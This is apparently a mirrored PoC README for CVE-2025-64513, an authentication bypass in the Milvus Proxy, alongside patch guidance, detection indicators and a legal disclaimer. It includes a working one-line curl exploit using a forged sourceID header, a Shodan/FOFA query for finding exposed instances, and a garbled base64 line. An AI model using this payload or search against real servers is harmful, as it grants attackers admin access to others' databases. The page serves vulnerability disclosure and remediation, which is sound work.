Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2025-64513 PoC — Milvus Proxy has Critical Authentication Bypass Vulnerability

Source
Associated Vulnerability
Title:Milvus Proxy has Critical Authentication Bypass Vulnerability (CVE-2025-64513)
Description:Milvus is an open-source vector database built for generative AI applications. An unauthenticated attacker can exploit a vulnerability in versions prior to 2.4.24, 2.5.21, and 2.6.5 to bypass all authentication mechanisms in the Milvus Proxy component, gaining full administrative access to the Milvus cluster. This grants the attacker the ability to read, modify, or delete data, and to perform privileged administrative operations such as database or collection management. This issue has been fixed in Milvus 2.4.24, 2.5.21, and 2.6.5. If immediate upgrade is not possible, a temporary mitigation can be applied by removing the sourceID header from all incoming requests at the gateway, API gateway, or load balancer level before they reach the Milvus Proxy. This prevents attackers from exploiting the authentication bypass behavior.
Description
CVE-2025-64513
Readme
# 🚨 **CVE-2025-64513: Critical Auth Bypass in Milvus Proxy** 🌐💥

---

## 🎯 **At a Glance**
| Metric | Details |
|--------|--------|
| **CVE** | `CVE-2025-64513` 🔖 |
| **Severity** | **9.3 / Critical** 🔥🔥🔥 |
| **Type** | Authentication Bypass 🕳️ |
| **Auth Required?** | **None** 😈 |
| **Exploit Complexity** | **Low** (1-line curl) ⚡ |
| **In the Wild?** | Not yet… *but coming soon* 👀 |

---

## 🛡️ **Affected Versions**
| Branch | Vulnerable | **Patched** ✅ |
|--------|------------|----------------|
| `2.4.x` | `< 2.4.24` | `2.4.24` |
| `2.5.x` | `< 2.5.21` | `2.5.21` |
| `2.6.x` | `< 2.6.5` | `2.6.5` |

> **6,000+ exposed instances** on the internet 🌍 (FOFA scans)

---

## 🔍 **How It Works (PoC)**
```bash
curl -H "sourceID: @@milvus-member@@" \
     -X POST http://your-milvus:19530/api/v1/collections \
     -d '{"collection_name": "pwned"}'
```
➡️ **Boom!** Full admin access. No password. No token. 😱

> **Base64 decode**: `@@milvus-member@@` → `QEBtaWx2dXMt@WVtYmVyQEA=` *(not even needed!)*

---


## How to Use (Step-by-Step)

```
# 1. Save as CVE-2025-64513.py
chmod +x CVE-2025-64513.py

# 2. Run against YOUR system
./CVE-2025-64513.py http://your-milvus-proxy:19530
```

## Sample Output (Vulnerable)

```
TARGET: http://milvus-prod:19530
TEST COLLECTION: cve_2025_64513_test_a1b2c3d4

[*] Version Check → Success (v2.6.4)
[*] Create Test Collection → Success: cve_2025_64513_test_a1b2c3d4
[*] Verify Collection → Found: cve_2025_64513_test_a1b2c3d4
[*] Cleanup → Deleted: cve_2025_64513_test_a1b2c3d4

==================================================
VULNERABLE TO CVE-2025-64513
Upgrade to 2.4.24 / 2.5.21 / 2.6.5 IMMEDIATELY!
==================================================

REPORT SAVED: report_cve_2025_64513_a1b2c3d4.json
```

## Generated Report `(report_*.json)`

```json
{
  "cve": "CVE-2025-64513",
  "target": "http://milvus-prod:19530",
  "vulnerable": true,
  "proof": {
    "version": "2.6.4",
    "collection_created": true
  },
  "cleanup": true,
  "steps": [ ... ]
}
```

---

## ⚠️ **Impact Matrix**
| Risk | Level | Details |
|------|-------|-------|
| **Data Theft** | High | Steal embeddings, user profiles, AI models 🕵️ |
| **Data Tampering** | High | Inject fake vectors, poison RAG 🔬 |
| **DoS** | Medium | Crash proxy, disrupt AI pipelines 📉 |
| **Lateral Movement** | High | Pivot to Kubernetes, cloud metadata ☁️ |

---

## ⏰ **Timeline**
| Date | Event |
|------|-------|
| **Nov 10, 2025** | CVE published + patches dropped 📢 |
| **Nov 11** | PoC on GitHub, scans go wild 🛜 |
| **Nov 12** | Blogs, Nuclei templates, panic 😵 |
| **Nov 13 (Today)** | **Patch or perish** ⏳ |

---

## 🛠️ **Fix It NOW!**
1. **Upgrade** 🚀  
   ```bash
   docker pull milvusdb/milvus:v2.6.5
   ```
2. **Restrict Access** 🔒  
   - Firewall: Allow only trusted IPs  
   - Kubernetes: `NetworkPolicy`  
3. **Enable mTLS** 🔐  
   - Force client certs  
4. **Monitor Logs** 📡  
   ```bash
   grep "@@milvus-member@@" /var/log/milvus/proxy.log
   ```

---

## 🔎 **Detection (IoCs)**
| Indicator | Tool |
|---------|------|
| `sourceID: @@milvus-member@@` | Suricata / Zeek |
| `/api/v1/users` without token | SIEM Alert |
| New collection `pwned_*` | Audit Logs |

> **Nuclei Template**: `cve-2025-64513-milvus-bypass.yaml` (ProjectDiscovery) 🛠️

---

## 🏆 **Best Practices**
- Run Milvus **behind NGINX** with rate limiting ⏱️  
- Use **RBAC** (Milvus 2.3+) to limit damage 🎛️  
- Scan with **Shodan/FOFA**: `app="Milvus"` 🌐  
- Rotate **all API keys** post-patch 🔑  

---

## 🎉 **Final Word**
> **Patch today. Sleep tonight.**  
> Don’t let your AI become *someone else’s* AI. 🤖⚔️

**Your move, sysadmin.** ⏰


---

# ⚠️ **LEGAL & ETHICAL DISCLAIMER** ⚠️

> **READ THIS BEFORE USING ANY CODE OR INFORMATION PROVIDED**

---

### **You are solely responsible for your actions.**

---

#### **1. Authorized Use Only**
- This **Proof-of-Concept (PoC)** and associated information are provided **exclusively for:**
  - **Penetration testing** on systems **you own**.
  - **Vulnerability validation** in environments where you have **explicit written authorization**.
  - **Internal security assessments** within your organization.

> **Unauthorized access to computer systems is illegal** under laws such as:
> - **CFAA** (United States)
> - **Computer Misuse Act** (UK)
> - **GDPR Article 32** (EU)
> - And similar laws worldwide.

---

#### **2. No Malicious Use**
- **Do NOT** use this PoC to:
  - Attack systems without permission.
  - Exfiltrate data.
  - Disrupt services.
  - Conduct reconnaissance on third-party infrastructure.

> **xAI, Grok, and the author assume zero liability** for misuse.

---

#### **3. Defensive Intent Only**
- This tool is designed to:
  - **Prove vulnerability existence**.
  - **Generate evidence for remediation**.
  - **Support responsible disclosure**.

> It includes **automatic cleanup** to minimize impact.

---

#### **4. Reporting Responsibility**
If you discover a vulnerable system:
1. **Notify the system owner immediately**.
2. **Do not exploit further**.
3. **Provide the generated report** to aid in patching.
4. Follow **responsible disclosure** practices.

---

#### **5. No Warranty**
- This PoC is provided **"as is"**.
- **No guarantee** of functionality, safety, or completeness.
- May produce **false positives/negatives**.
- Use in production environments at **your own risk**.

---

### **By proceeding, you agree:**
> ✅ I will only test systems I own or have permission to test.  
> ✅ I will not use this for malicious purposes.  
> ✅ I will report findings responsibly.  
> ✅ I accept full legal and ethical responsibility.

---

**Proceed only if you understand and accept these terms.**

*Security is a shared responsibility. Test to protect — never to harm.* 🛡️
File Snapshot

[4.0K] /data/pocs/134b89e2a931fe7227615b8fc18c49a6d9199a8b ├── [5.0K] CVE-2025-64513.py └── [5.8K] README.md 1 directory, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →